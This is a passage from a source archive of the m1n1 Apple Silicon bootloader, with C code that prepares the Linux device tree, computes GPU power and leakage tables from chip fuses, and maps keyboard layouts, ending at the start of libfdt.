but not initialized, disabling\n"); if (fdt_setprop_string(dt, fdt_node, "status", "disabled") < 0) bail("FDT: failed to set status property of ISP\n"); } return 0; } int adt_node = adt_path_offset(adt, "/arm-io/isp"); if (adt_node < 0) adt_node = adt_path_offset(adt, "/arm-io/isp0"); if (adt_node < 0) return 0; uint32_t dev_phandle = fdt_get_phandle(dt, fdt_node); if (!dev_phandle) { ret = fdt_generate_phandle(dt, &dev_phandle); if (!ret) ret = fdt_setprop_u32(dt, fdt_node, "phandle", dev_phandle); if (ret != 0) bail("FDT: couldn't set '%s.phandle' property: %d\n", fdt_path, ret); } int mem_node = dt_get_or_add_reserved_mem("isp-heap", "apple,asc-mem", phys, size); if (mem_node < 0) return ret; ret = dt_device_set_reserved_mem(mem_node, "isp-heap", dev_phandle, iova, size); if (ret < 0) return ret; return 0; } static int dt_disable_missing_devs(const char *adt_prefix, const char *dt_prefix, int max_devs) { int ret = -1; int adt_prefix_len = strlen(adt_prefix); int dt_prefix_len = strlen(dt_prefix); int acnt = 0, phcnt = 0; u64 *addrs = calloc(max_devs, sizeof(u64)); u32 *phandles = calloc(max_devs * 4, sizeof(u32)); // Allow up to 4 extra nodes per device if (!addrs || !phandles) bail_cleanup("FDT: out of memory\n"); int path[8]; int node = adt_path_offset_trace(adt, "/arm-io", path); if (node < 0) bail_cleanup("ADT: /arm-io not found\n"); int pp = 0; while (path[pp]) pp++; path[pp + 1] = 0; u32 die_count; if (ADT_GETPROP(adt, node, "die-count", &die_count) < 0) { die_count = 1; } if (die_count > 8) { printf("ADT: limiting die-count from %u to 8\n", die_count); die_count = 8; } /* Find ADT registers */ ADT_FOREACH_CHILD(adt, node) { const char *name = adt_get_name(adt, node); if (strncmp(name, adt_prefix, adt_prefix_len)) continue; path[pp] = node; if (adt_get_reg(adt, path, "reg", 0, &addrs[acnt++], NULL) < 0) bail_cleanup("Error getting /arm-io/%s regs\n", name); } for (u32 die = 0; die < die_count; ++die) { char path[32] = "/soc"; if (die_count > 1) { // pre-linux submission multi-die path // can probably removed the next time someone read this comment. snprintf(path, sizeof(path), "/soc/die%u", die); int die_node = fdt_path_offset(dt, path); if (die_node < 0) { /* this should use aliases for the soc nodes */ u64 die_unit_addr = die * PMGR_DIE_OFFSET + 0x200000000; snprintf(path, sizeof(path), "/soc@%lx", die_unit_addr); } } int soc = fdt_path_offset(dt, path); if (soc < 0) bail("FDT: %s node not found in devtree\n", path); // parse ranges for address translation struct dt_ranges_tbl ranges[DT_MAX_RANGES] = {0}; dt_parse_ranges(dt, soc, ranges); /* Disable primary devices */ fdt_for_each_subnode(node, dt, soc) { const char *name = fdt_get_name(dt, node, NULL); if (strncmp(name, dt_prefix, dt_prefix_len)) continue; const fdt64_t *reg = fdt_getprop(dt, node, "reg", NULL); if (!reg) bail_cleanup("FDT: failed to get reg property of %s\n", name); u64 addr = dt_translate(ranges, reg); int i; for (i = 0; i < acnt; i++) if (addrs[i] == addr) break; if (i < acnt) continue; int iommus_size; const fdt32_t *iommus = fdt_getprop(dt, node, "iommus", &iommus_size); if (iommus) { if (iommus_size & 7 || iommus_size > 4 * 8) { printf("FDT: bad iommus property for %s/%s\n", path, name); } else { for (int i = 0; i < iommus_size / 8; i++) phandles[phcnt++] = fdt32_ld(&iommus[i * 2]); } } int phys_size; const fdt32_t *phys = fdt_getprop(dt, node, "phys", &phys_size); if (phys) { if (phys_size & 7 || phys_size > 4 * 8) { printf("FDT: bad phys property for %s/%s\n", path, name); } else { for (int i = 0; i < phys_size / 8; i++) phandles[phcnt++] = fdt32_ld(&phys[i * 2]); } } const char *status = fdt_getprop(dt, node, "status", NULL); if (!status || strcmp(status, "disabled")) { printf("FDT: Disabling missing device %s/%s\n", path, name); if (fdt_setprop_string(dt, node, "status", "disabled") < 0) bail_cleanup("FDT: failed to set status property of %s/%s\n", path, name); } } /* Disable secondary devices */ fdt_for_each_subnode(node, dt, soc) { const char *name = fdt_get_name(dt, node, NULL); u32 phandle = fdt_get_phandle(dt, node); for (int i = 0; i < phcnt; i++) { if (phandles[i] != phandle) continue; const char *status = fdt_getprop(dt, node, "status", NULL); if (status && !strcmp(status, "disabled")) continue; printf("FDT: Disabling secondary device %s/%s\n", path, name); if (fdt_setprop_string(dt, node, "status", "disabled") < 0) bail_cleanup("FDT: failed to set status property of %s/%s\n", path, name); break; } } } ret = 0; err: free(phandles); free(addrs); return ret; } static int dt_transfer_virtios(void) { int path[3]; path[0] = adt_path_offset(adt, "/arm-io/"); if (path[0] < 0) bail("ADT: /arm-io not found\n"); int aic = fdt_node_offset_by_compatible(dt, -1, "apple,aic"); if (aic == -FDT_ERR_NOTFOUND) aic = fdt_node_offset_by_compatible(dt, -1, "apple,aic2"); if (aic < 0) bail("FDT: failed to find AIC node\n"); u32 aic_phandle = fdt_get_phandle(dt, aic); const fdt32_t *ic_prop = fdt_getprop(dt, aic, "#interrupt-cells", NULL); u32 intcells = 0; if (ic_prop) intcells = fdt32_ld(ic_prop); if (intcells < 3 || intcells > 4) bail("FDT: bad '#interrupt-cells' on AIC node (%d)\n", intcells); for (u32 i = 0; i < 16; i++) { char name[16], fullname[32]; snprintf(name, sizeof(name) - 1, "virtio%d", i); path[1] = adt_subnode_offset(adt, path[0], name); if (path[1] < 0) break; path[2] = 0; u64 addr, size; if (adt_get_reg(adt, path, "reg", 0, &addr, &size) < 0) bail("ADT: error getting /arm-io/%s regs\n", name); u32 irq; ADT_GETPROP(adt, path[1], "interrupts", &irq); snprintf(fullname, sizeof(fullname) - 1, "virtio@%lx", addr); printf("FDT: Adding %s found in ADT\n", name); int fnode = fdt_add_subnode(dt, 0, fullname); if (fnode < 0) bail("FDT: failed to create %s\n", fullname); if (fdt_setprop_string(dt, fnode, "compatible", "virtio,mmio")) bail("FDT: couldn't set %s.compatible\n", fullname); fdt64_t reg[2]; fdt64_st(reg + 0, addr); fdt64_st(reg + 1, size); if (fdt_setprop(dt, fnode, "reg", reg, sizeof(reg))) bail("FDT: couldn't set %s.reg\n", fullname); if (fdt_setprop_u32(dt, fnode, "interrupt-parent", aic_phandle)) bail("FDT: couldn't set %s.interrupt-parent\n", fullname); fdt32_t intprop[4]; fdt32_st(intprop + 0, 0); // AIC_IRQ fdt32_st(intprop + 1, 0); fdt32_st(intprop + intcells - 2, irq); fdt32_st(intprop + intcells - 1, 4); // IRQ_TYPE_LEVEL_HIGH if (fdt_setprop(dt, fnode, "interrupts", intprop, 4 * intcells)) bail("FDT: couldn't set %s.interrupts\n", fullname); } return 0; } void kboot_set_initrd(void *start, size_t size) { initrd_start = start; initrd_size = size; } int kboot_set_chosen(const char *name, const char *value) { int i = 0; if (!name) return -1; for (i = 0; i < MAX_CHOSEN_PARAMS; i++) { if (!chosen_params[i][0]) { chosen_params[i][0] = calloc(strlen(name) + 1, 1); strcpy(chosen_params[i][0], name); break; } if (!strcmp(name, chosen_params[i][0])) { free(chosen_params[i][1]); chosen_params[i][1] = NULL; break; } } if (i >= MAX_CHOSEN_PARAMS) return -1; if (value) { chosen_params[i][1] = calloc(strlen(value) + 1, 1); strcpy(chosen_params[i][1], value); } return i; } int kboot_prepare_dt(void *fdt) { if (dt) { free(dt); dt = NULL; } /* Need to init ISP early to carve out heap */ isp_init(); dt_bufsize = fdt_totalsize(fdt); assert(dt_bufsize); dt_bufsize += 64 * 1024; // Add 64K of buffer for modifications dt = memalign(DT_ALIGN, dt_bufsize); if (fdt_open_into(fdt, dt, dt_bufsize) < 0) bail("FDT: fdt_open_into() failed\n"); if (fdt_add_mem_rsv(dt, (u64)dt, dt_bufsize)) bail("FDT: couldn't add reservation for the devtree\n"); if (fdt_add_mem_rsv(dt, (u64)_base, ((u64)_end) - ((u64)_base))) bail("FDT: couldn't add reservation for m1n1\n"); if (dt_set_chosen()) return -1; if (dt_set_serial_number()) return -1; if (dt_set_cpus()) return -1; if (dt_set_mac_addresses()) return -1; if (dt_set_wifi()) return -1; if (dt_set_bluetooth()) return -1; if (dt_set_uboot()) return -1; if (dt_set_atc_tunables()) return -1; if (dt_set_acio_tunables()) return -1; if (dt_set_display()) return -1; if (dt_set_gpu(dt)) return -1; if (dt_set_multitouch()) return -1; if (dt_set_nvram()) return -1; if (dt_set_ipd()) return -1; if (dt_disable_missing_devs("usb-drd", "usb@", 8)) return -1; if (dt_disable_missing_devs("i2c", "i2c@", 8)) return -1; if (dt_reserve_asc_firmware("/arm-io/sio", NULL, "sio", true, 0)) return -1; if (dt_set_sio_fwdata()) return -1; if (dt_reserve_asc_firmware("/arm-io/isp", "/arm-io/isp0", "isp", false, isp_iova_base())) return -1; if (dt_set_isp_fwdata()) return -1; #ifndef RELEASE if (dt_transfer_virtios()) return 1; #endif /* * Set the /memory node late since we might be allocating from the top of memory * in one of the above devicetree prep functions, and we want an up-to-date value * for the usable memory span to make it into the devicetree. */ if (dt_set_memory()) return -1; if (fdt_pack(dt)) bail("FDT: fdt_pack() failed\n"); printf("FDT prepared at %p\n", dt); return 0; } int kboot_boot(void *kernel) { mcc_enable_cache(); tunables_apply_static(); clk_init(); usb_init(); pcie_init(); dapf_init_all(); printf("Setting SMP mode to WFE...\n"); smp_set_wfe_mode(true); printf("Preparing to boot kernel at %p with fdt at %p\n", kernel, dt); next_stage.entry = kernel; next_stage.args[0] = (u64)dt; next_stage.args[1] = 0; next_stage.args[2] = 0; next_stage.args[3] = 0; next_stage.args[4] = 0; next_stage.restore_logo = false; return 0; } m1n1-1.4.11/src/kboot.h000066400000000000000000000013601453754430200144370ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef KBOOT_H #define KBOOT_H #include "types.h" struct kernel_header { u32 code[2]; /* Executable code */ u64 text_offset; /* Image load offset, little endian */ u64 image_size; /* Effective Image size, little endian */ u64 flags; /* kernel flags, little endian */ u64 res2; /* reserved */ u64 res3; /* reserved */ u64 res4; /* reserved */ u32 magic; /* Magic number, little endian, "ARM\x64" */ u32 res5; /* reserved (used for PE COFF offset) */ }; void kboot_set_initrd(void *start, size_t size); int kboot_set_chosen(const char *name, const char *value); int kboot_prepare_dt(void *fdt); int kboot_boot(void *kernel); #endif m1n1-1.4.11/src/kboot_gpu.c000066400000000000000000000520631453754430200153130ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "kboot.h" #include "adt.h" #include "assert.h" #include "firmware.h" #include "math.h" #include "pmgr.h" #include "soc.h" #include "utils.h" #include "libfdt/libfdt.h" #define bail(...) \ do { \ printf(__VA_ARGS__); \ return -1; \ } while (0) #define MAX_PSTATES 16 #define MAX_CLUSTERS 8 #define MAX_DIES 2 struct perf_state { u32 freq; u32 volt; }; struct aux_perf_state { u64 volt; u64 freq; }; struct aux_perf_states { u64 dies; u64 count; struct aux_perf_state states[]; }; static int get_core_counts(u32 *count, u32 nclusters, u32 ncores) { u64 base; pmgr_adt_power_enable("/arm-io/sgx"); int adt_sgx_path[8]; if (adt_path_offset_trace(adt, "/arm-io/sgx", adt_sgx_path) < 0) bail("ADT: GPU: Failed to get sgx\n"); if (adt_get_reg(adt, adt_sgx_path, "reg", 0, &base, NULL) < 0) bail("ADT: GPU: Failed to get sgx reg 0\n"); u32 cores[3] = {0, 0, 0}; switch (chip_id) { case T6002: cores[1] = read32(base + 0xd01514); /* fallthrough */ case T8103: case T8112: case T6000: case T6001: cores[0] = read32(base + 0xd01500); break; case T6020: case T6021: case T6022: cores[0] = read32(base + 0xe01500); cores[1] = read32(base + 0xe01504); cores[2] = read32(base + 0xe01508); break; } for (u32 i = 0; i < nclusters; i++) { count[i] = __builtin_popcount(cores[0] & MASK(ncores)); for (u32 j = 0; j < ARRAY_SIZE(cores); j++) { cores[j] >>= ncores; if (j < (ARRAY_SIZE(cores) - 1)) cores[j] |= cores[j + 1] << (32 - ncores); } } return 0; } static void adjust_leakage(float *val, u32 clusters, u32 *cores, u32 max, float uncore_fraction) { for (u32 i = 0; i < clusters; i++) { float uncore = val[i] * uncore_fraction; float core = val[i] - uncore; val[i] = uncore + (cores[i] / (float)max) * core; } } static void load_fuses(float *out, u32 count, u64 base, u32 start, u32 width, float scale, float offset, bool flip) { for (u32 i = 0; i < count; i++) { base += (start / 32) * 4; start &= 31; u32 low = read32(base); u32 high = read32(base + 4); u32 val = (((((u64)high) << 32) | low) >> start) & MASK(width); float fval = (float)val * scale + offset; if (flip) out[count - i - 1] = fval; else out[i] = fval; start += width; } } static u32 t8103_pwr_scale[] = {0, 63, 80, 108, 150, 198, 210}; static int calc_power_t8103(u32 count, u32 table_count, const struct perf_state *core, const struct perf_state *sram, const struct aux_perf_states *cs, u32 *max_pwr, float *core_leak, float *sram_leak, float *cs_leak, float *afr_leak) { UNUSED(sram); UNUSED(cs); UNUSED(core_leak); UNUSED(sram_leak); UNUSED(cs_leak); UNUSED(afr_leak); u32 *pwr_scale; u32 pwr_scale_count; u32 core_count; u32 max_cores; switch (chip_id) { case T8103: pwr_scale = t8103_pwr_scale; pwr_scale_count = ARRAY_SIZE(t8103_pwr_scale); max_cores = 8; break; default: bail("ADT: GPU: Unsupported chip\n"); } if (get_core_counts(&core_count, 1, max_cores)) return -1; if (table_count != 1) bail("ADT: GPU: expected 1 perf state table but got %d\n", table_count); if (count != pwr_scale_count) bail("ADT: GPU: expected %d perf states but got %d\n", pwr_scale_count, count); for (u32 i = 0; i < pwr_scale_count; i++) max_pwr[i] = (u32)core[i].volt * (u32)pwr_scale[i] * 100; core_leak[0] = 1000.0; sram_leak[0] = 45.0; adjust_leakage(core_leak, 1, &core_count, max_cores, 0.12); adjust_leakage(sram_leak, 1, &core_count, max_cores, 0.2); return 0; } static int calc_power_t600x(u32 count, u32 table_count, const struct perf_state *core, const struct perf_state *sram, const struct aux_perf_states *cs, u32 *max_pwr, float *core_leak, float *sram_leak, float *cs_leak, float *afr_leak) { float s_sram, k_sram, s_core, k_core, s_cs, k_cs; float dk_core, dk_sram = 0, dk_cs = 0; float imax = 1000; u32 ndies = 1; u32 nclusters = 0; u32 ncores = 0; u32 core_count[MAX_CLUSTERS]; bool simple_exps = false; bool adjust_leakages = true; bool has_cs = false; switch (chip_id) { case T6002: ndies = 2; nclusters += 4; load_fuses(core_leak + 4, 4, 0x22922bc1b8, 25, 13, 2, 2, true); load_fuses(sram_leak + 4, 4, 0x22922bc1cc, 4, 9, 1, 1, true); // fallthrough case T6001: nclusters += 2; case T6000: nclusters += 2; load_fuses(core_leak + 0, min(4, nclusters), 0x2922bc1b8, 25, 13, 2, 2, false); load_fuses(sram_leak + 0, min(4, nclusters), 0x2922bc1cc, 4, 9, 1, 1, false); s_sram = 4.3547606; k_sram = 0.024927923; // macOS difference: macOS uses a misbehaved piecewise function here // Since it's obviously wrong, let's just use only the first component s_core = 1.48461742; k_core = 0.39013552; dk_core = 1.06975; dk_sram = 0.00625; ncores = 8; adjust_leakages = true; imax = 26.0; break; case T8112: nclusters = 1; load_fuses(core_leak, 1, 0x23d2c84dc, 30, 13, 2, 2, false); load_fuses(sram_leak, 1, 0x23d2c84b0, 15, 9, 1, 1, false); s_sram = 3.61619841; k_sram = 0.0529281; // macOS difference: macOS uses a misbehaved piecewise function here // Since it's obviously wrong, let's just use only the first component s_core = 1.21356187; k_core = 0.43328839; dk_core = 0.983196; dk_sram = 0.007828; simple_exps = true; ncores = 10; adjust_leakages = false; // pre-adjusted? imax = 24.0; break; case T6022: ndies = 2; nclusters += 4; load_fuses(core_leak + 4, min(4, nclusters), 0x229e2cc1f8, 4, 13, 2, 2, true); load_fuses(sram_leak + 4, min(4, nclusters), 0x229e2cc208, 19, 9, 1, 1, true); load_fuses(cs_leak + 1, 1, 0x229e2cc204, 8, 12, 1, 1, false); load_fuses(afr_leak + 1, 1, 0x229e2cc210, 0, 12, 1, 1, false); // For some reason, this one is different on T6022... dk_cs = 6.7; // fallthrough case T6021: if (!dk_cs) dk_cs = 4.492; nclusters += 4; s_sram = 5.808; k_sram = 0.00707; // macOS difference: macOS uses a misbehaved piecewise function here // Since it's obviously wrong, let's just use only the first component s_core = 1.24554153; k_core = 0.56203084; s_cs = 1.87; k_cs = 0.162; goto t602x; case T6020: nclusters = 2; s_sram = 5.02191218; k_sram = 0.0145621013; // macOS difference: macOS uses a misbehaved piecewise function here // Since it's obviously wrong, let's just use only the first component s_core = 1.21006932; k_core = 0.52776378; s_cs = 1.8; k_cs = 0.162; dk_cs = 1.889; t602x: dk_core = 1.00075; dk_sram = 0.00785; load_fuses(core_leak + 0, min(4, nclusters), 0x29e2cc1f8, 4, 13, 2, 2, false); load_fuses(sram_leak + 0, min(4, nclusters), 0x29e2cc208, 19, 9, 1, 1, false); load_fuses(cs_leak + 0, 1, 0x29e2cc204, 8, 12, 1, 1, false); load_fuses(afr_leak + 0, 1, 0x29e2cc210, 0, 12, 1, 1, false); simple_exps = true; ncores = 10; adjust_leakages = false; // pre-adjusted? imax = 33.0; has_cs = true; break; } if (get_core_counts(core_count, nclusters, ncores)) return -1; printf("FDT: GPU: Core counts: "); for (u32 i = 0; i < nclusters; i++) { printf("%d ", core_count[i]); } printf("\n"); if (adjust_leakages) { adjust_leakage(core_leak, nclusters, core_count, ncores, 0.0825); adjust_leakage(sram_leak, nclusters, core_count, ncores, 0.2247); } if (table_count != nclusters) bail("ADT: GPU: expected %d perf state tables but got %d\n", nclusters, table_count); if (has_cs && (!cs || !cs_leak)) { bail("ADT: GPU: expected CS perf table, but not found\n"); } max_pwr[0] = 0; for (u32 i = 1; i < count; i++) { u32 total_mw = 0; for (u32 j = 0; j < nclusters; j++) { // macOS difference: macOS truncates Hz to integer MHz before doing this math. // That's probably wrong, so let's not do that. float mw = 0; size_t idx = j * count + i; mw += sram[idx].volt / 1000.f * sram_leak[j] * k_sram * expf(sram[idx].volt / 1000.f * s_sram); mw += core[idx].volt / 1000.f * core_leak[j] * k_core * expf(core[idx].volt / 1000.f * s_core); float sbase = sram[idx].volt / 750.f; float sram_v_p; if (simple_exps) sram_v_p = sbase * sbase; // v ^ 2 else sram_v_p = sbase * sbase * sbase; // v ^ 3 mw += dk_sram * core_count[j] * (sram[idx].freq / 1000000.f) * sram_v_p; float cbase = core[idx].volt / 750.f; float core_v_p; if (simple_exps || core[idx].volt < 750) core_v_p = cbase * cbase; // v ^ 2 else core_v_p = cbase * cbase * cbase; // v ^ 3 mw += dk_core * core_count[j] * (core[idx].freq / 1000000.f) * core_v_p; if (mw > imax * core[idx].volt) mw = imax * core[idx].volt; total_mw += mw; } // CS gets added after the imax limit if (has_cs) { for (u32 j = 0; j < ndies; j++) { float mw = 0; int csi = j * cs->count + min(i, cs->count - 1); u32 cs_mv = cs->states[csi].volt / 1000; u32 cs_hz = cs->states[csi].freq; mw += cs_mv / 1000.f * cs_leak[j] * k_cs * expf(cs_mv / 1000.f * s_cs); float csbase = cs_mv / 750.f; float cs_v_p = powf(csbase, 1.8); mw += dk_cs * (cs_hz / 1000000.f) * cs_v_p; total_mw += mw; } } max_pwr[i] = total_mw * 1000; } return 0; } static int dt_set_region(void *dt, int sgx, const char *name, const char *path) { u64 base, size; char prop[64]; snprintf(prop, sizeof(prop), "%s-base", name); if (ADT_GETPROP(adt, sgx, prop, &base) < 0 || !base) bail("ADT: GPU: failed to find %s property\n", prop); snprintf(prop, sizeof(prop), "%s-size", name); if (ADT_GETPROP(adt, sgx, prop, &size) < 0 || !base) bail("ADT: GPU: failed to find %s property\n", prop); int node = fdt_path_offset(dt, path); if (node < 0) bail("FDT: GPU: failed to find %s node\n", path); fdt64_t reg[2]; fdt64_st(®[0], base); fdt64_st(®[1], size); if (fdt_setprop_inplace(dt, node, "reg", reg, sizeof(reg))) bail("FDT: GPU: failed to set reg prop for %s\n", path); if (fdt_setprop_empty(dt, node, "no-map")) bail("FDT: GPU: failed to set no-map prop for %s\n", path); return 0; } int fdt_set_float_array(void *dt, int node, const char *name, float *val, int count) { fdt32_t data[MAX_CLUSTERS]; if (count > MAX_CLUSTERS) bail("FDT: GPU: fdt_set_float_array() with too many values\n"); memcpy(data, val, sizeof(float) * count); for (int i = 0; i < count; i++) { data[i] = cpu_to_fdt32(data[i]); } if (fdt_setprop_inplace(dt, node, name, data, sizeof(u32) * count)) bail("FDT: GPU: Failed to set %s\n", name); return 0; } static int fdt_set_aux_opp(void *dt, int gpu, const char *prop, const struct aux_perf_states *ps, u32 dies) { int len; const fdt32_t *opps_ph = fdt_getprop(dt, gpu, prop, &len); if (!opps_ph || len != 4) bail("FDT: GPU: %s not found\n", prop); int opps = fdt_node_offset_by_phandle(dt, fdt32_ld(opps_ph)); if (opps < 0) bail("FDT: GPU: node for phandle %u not found\n", fdt32_ld(opps_ph)); u32 count = ps->count; u32 i = 0; int opp; fdt_for_each_subnode(opp, dt, opps) { fdt32_t volts[MAX_DIES]; for (u32 j = 0; j < dies; j++) { volts[j] = cpu_to_fdt32(ps->states[i + j * ps->count].volt); } if (i >= count) bail("FDT: GPU: Expected %d operating points, but found more\n", count); if (fdt_setprop_inplace(dt, opp, "opp-microvolt", &volts, sizeof(u32) * dies)) bail("FDT: GPU: Failed to set opp-microvolt for aux PS %d\n", i); if (fdt_setprop_inplace_u64(dt, opp, "opp-hz", ps->states[i].freq)) bail("FDT: GPU: Failed to set opp-hz for PS %d\n", i); i++; } return 0; } int dt_set_gpu(void *dt) { bool has_cs_afr = false; int (*calc_power)(u32 count, u32 table_count, const struct perf_state *core, const struct perf_state *sram, const struct aux_perf_states *cs, u32 *max_pwr, float *core_leak, float *sram_leak, float *cs_leak, float *afr_leak); u32 dies = 1; printf("FDT: GPU: Initializing GPU info\n"); switch (chip_id) { case T8103: calc_power = calc_power_t8103; break; case T6022: dies = 2; // fallthrough case T6021: case T6020: has_cs_afr = true; calc_power = calc_power_t600x; break; case T6002: dies = 2; // fallthrough case T6001: case T6000: case T8112: calc_power = calc_power_t600x; break; default: printf("ADT: GPU: unsupported chip!\n"); return 0; } int gpu = fdt_path_offset(dt, "gpu"); if (gpu < 0) { printf("FDT: GPU: gpu alias not found in device tree\n"); return 0; } int len; const fdt32_t *opps_ph = fdt_getprop(dt, gpu, "operating-points-v2", &len); if (!opps_ph || len != 4) bail("FDT: GPU: operating-points-v2 not found\n"); int opps = fdt_node_offset_by_phandle(dt, fdt32_ld(opps_ph)); if (opps < 0) bail("FDT: GPU: node for phandle %u not found\n", fdt32_ld(opps_ph)); int sgx = adt_path_offset(adt, "/arm-io/sgx"); if (sgx < 0) bail("ADT: GPU: /arm-io/sgx node not found\n"); u32 perf_state_count; if (ADT_GETPROP(adt, sgx, "perf-state-count", &perf_state_count) < 0 || !perf_state_count) bail("ADT: GPU: missing perf-state-count\n"); u32 perf_state_table_count; if (ADT_GETPROP(adt, sgx, "perf-state-table-count", &perf_state_table_count) < 0 || !perf_state_table_count) bail("ADT: GPU: missing perf-state-table-count\n"); if (perf_state_count > MAX_PSTATES) bail("ADT: GPU: perf-state-count too large\n"); if (perf_state_table_count > MAX_CLUSTERS) bail("ADT: GPU: perf-state-table-count too large\n"); u32 perf_states_len; const struct perf_state *perf_states, *perf_states_sram; const struct aux_perf_states *perf_states_afr, *perf_states_cs; perf_states = adt_getprop(adt, sgx, "perf-states", &perf_states_len); if (!perf_states || perf_states_len != sizeof(*perf_states) * perf_state_count * perf_state_table_count) bail("ADT: GPU: invalid perf-states length\n"); perf_states_sram = adt_getprop(adt, sgx, "perf-states-sram", &perf_states_len); if (perf_states_sram && perf_states_len != sizeof(*perf_states) * perf_state_count * perf_state_table_count) bail("ADT: GPU: invalid perf-states-sram length\n"); perf_states_afr = adt_getprop(adt, sgx, "afr-perf-states", NULL); perf_states_cs = adt_getprop(adt, sgx, "cs-perf-states", NULL); if (has_cs_afr && !perf_states_cs) bail("ADT: GPU: cs-perf-states not found\n"); if (has_cs_afr && !perf_states_afr) bail("ADT: GPU: afr-perf-states not found\n"); u32 max_pwr[MAX_PSTATES]; float core_leak[MAX_CLUSTERS]; float sram_leak[MAX_CLUSTERS]; float cs_leak[MAX_DIES]; float afr_leak[MAX_DIES]; if (calc_power(perf_state_count, perf_state_table_count, perf_states, perf_states_sram, perf_states_cs, max_pwr, core_leak, sram_leak, cs_leak, afr_leak)) return -1; printf("FDT: GPU: Max power table: "); for (u32 i = 0; i < perf_state_count; i++) { printf("%d ", max_pwr[i]); } printf("\nFDT: GPU: Core leakage table: "); for (u32 i = 0; i < perf_state_table_count; i++) { printf("%d.%03d ", (int)core_leak[i], ((int)(core_leak[i] * 1000) % 1000)); } printf("\nFDT: GPU: SRAM leakage table: "); for (u32 i = 0; i < perf_state_table_count; i++) { printf("%d.%03d ", (int)sram_leak[i], ((int)(sram_leak[i] * 1000) % 1000)); } printf("\n"); if (fdt_set_float_array(dt, gpu, "apple,core-leak-coef", core_leak, perf_state_table_count)) return -1; if (fdt_set_float_array(dt, gpu, "apple,sram-leak-coef", sram_leak, perf_state_table_count)) return -1; u32 i = 0; int opp; fdt_for_each_subnode(opp, dt, opps) { fdt32_t volts[MAX_CLUSTERS]; for (u32 j = 0; j < perf_state_table_count; j++) { volts[j] = cpu_to_fdt32(perf_states[i + j * perf_state_count].volt * 1000); } if (i >= perf_state_count) bail("FDT: GPU: Expected %d operating points, but found more\n", perf_state_count); if (fdt_setprop_inplace(dt, opp, "opp-microvolt", &volts, sizeof(u32) * perf_state_table_count)) bail("FDT: GPU: Failed to set opp-microvolt for PS %d\n", i); if (fdt_setprop_inplace_u64(dt, opp, "opp-hz", perf_states[i].freq)) bail("FDT: GPU: Failed to set opp-hz for PS %d\n", i); if (fdt_setprop_inplace_u32(dt, opp, "opp-microwatt", max_pwr[i])) bail("FDT: GPU: Failed to set opp-microwatt for PS %d\n", i); i++; } if (i != perf_state_count) bail("FDT: GPU: Expected %d operating points, but found %d\n", perf_state_count, i); if (has_cs_afr) { int ret = fdt_set_aux_opp(dt, gpu, "apple,cs-opp", perf_states_cs, dies); if (ret) return ret; if (fdt_set_float_array(dt, gpu, "apple,cs-leak-coef", cs_leak, dies)) return -1; printf("FDT: GPU: CS leakage table: "); for (u32 i = 0; i < dies; i++) { printf("%d.%03d ", (int)cs_leak[i], ((int)(cs_leak[i] * 1000) % 1000)); } printf("\n"); } if (has_cs_afr) { int ret = fdt_set_aux_opp(dt, gpu, "apple,afr-opp", perf_states_afr, dies); if (ret) return ret; if (fdt_set_float_array(dt, gpu, "apple,afr-leak-coef", afr_leak, dies)) return -1; printf("FDT: GPU: AFR leakage table: "); for (u32 i = 0; i < dies; i++) { printf("%d.%03d ", (int)afr_leak[i], ((int)(afr_leak[i] * 1000) % 1000)); } printf("\n"); } if (dt_set_region(dt, sgx, "gfx-handoff", "/reserved-memory/uat-handoff")) return -1; if (dt_set_region(dt, sgx, "gfx-shared-region", "/reserved-memory/uat-pagetables")) return -1; if (dt_set_region(dt, sgx, "gpu-region", "/reserved-memory/uat-ttbs")) return -1; // refresh gpu dt node offset after modifying the dt in dt_set_region() gpu = fdt_path_offset(dt, "gpu"); if (gpu < 0) { printf("FDT: GPU: gpu alias not found in device tree\n"); return 0; } if (firmware_set_fdt(dt, gpu, "apple,firmware-version", &os_firmware)) return -1; const struct fw_version_info *compat; switch (os_firmware.version) { case V12_3_1: compat = &fw_versions[V12_3]; break; case V13_5B4: case V13_6_2: compat = &fw_versions[V13_5]; break; default: compat = &os_firmware; break; } if (firmware_set_fdt(dt, gpu, "apple,firmware-compat", compat)) return -1; return 0; } m1n1-1.4.11/src/keyboard_types.h000066400000000000000000000024521453754430200163500ustar00rootroot00000000000000#define LAYOUT_ANSI 33 #define LAYOUT_ISO 13 #define LAYOUT_JIS 15 static int keyboard_types[] = { LAYOUT_ISO, // Unknown LAYOUT_ISO, // German LAYOUT_ISO, // French LAYOUT_JIS, // Japanese Keyboard LAYOUT_ISO, // US International Keyboard LAYOUT_ANSI, // U.S. LAYOUT_ISO, // British LAYOUT_ISO, // Spanish - ISO LAYOUT_ISO, // Swedish - Pro LAYOUT_ISO, // Italian - Pro LAYOUT_ISO, // Canadian - CSA LAYOUT_ANSI, // Simplified Chinese Keyboard LAYOUT_ISO, // Danish LAYOUT_ISO, // Belgian LAYOUT_ISO, // Norwegian LAYOUT_ANSI, // 2SetHangul LAYOUT_ISO, // Dutch LAYOUT_ISO, // Swiss Multilingual Keyboard LAYOUT_ANSI, // Zhuyin Bopomofo LAYOUT_ISO, // Arabic LAYOUT_ISO, // Bulgarian LAYOUT_ISO, // Croatian LAYOUT_ISO, // Czech LAYOUT_ISO, // Greek LAYOUT_ISO, // Hebrew LAYOUT_ISO, // Icelandic LAYOUT_ISO, // Hungarian LAYOUT_ISO, // Polish LAYOUT_ISO, // Portuguese LAYOUT_ISO, // Persian LAYOUT_ISO, // Romanian LAYOUT_ISO, // Russian LAYOUT_ISO, // Slovak LAYOUT_ANSI, // Thai LAYOUT_ISO, // Turkish-QWERTY-PC LAYOUT_ISO, // Turkish LAYOUT_ISO, // Ukrainian LAYOUT_ISO, // Turkish-Standard LAYOUT_ISO, // Latin America }; m1n1-1.4.11/src/libfdt/000077500000000000000000000000001453754430200144145ustar00rootroot00000000000000m1n1-1.4.11/src/libfdt/fdt.c000066400000000000000000000165541453754430200153500ustar00rootroot00000000000000// SPDX-License-Identifier: (GPL-2.0-or-later OR BSD-2-Clause) /* * libfdt - Flat Device Tree manipulation * Copyright (C) 2006 David Gibson, IBM Corporation. */ #include "libfdt_env.h" #include "fdt.h" #include "libfdt.h" #include "libfdt_internal.h" /* * Minimal sanity check for a read-only tree. fdt_ro_probe_() checks * that the given buffer contains what appears to be a flattened * device tree with sane information in its header. */ int32_t fdt_ro_probe_(const void *fdt) { uint32_t totalsize = fdt_totalsize(fdt); if (can_assume(VALID_DTB)) return totalsize; if (fdt_magic(fdt) == FDT_MAGIC) { /* Complete tree */ if 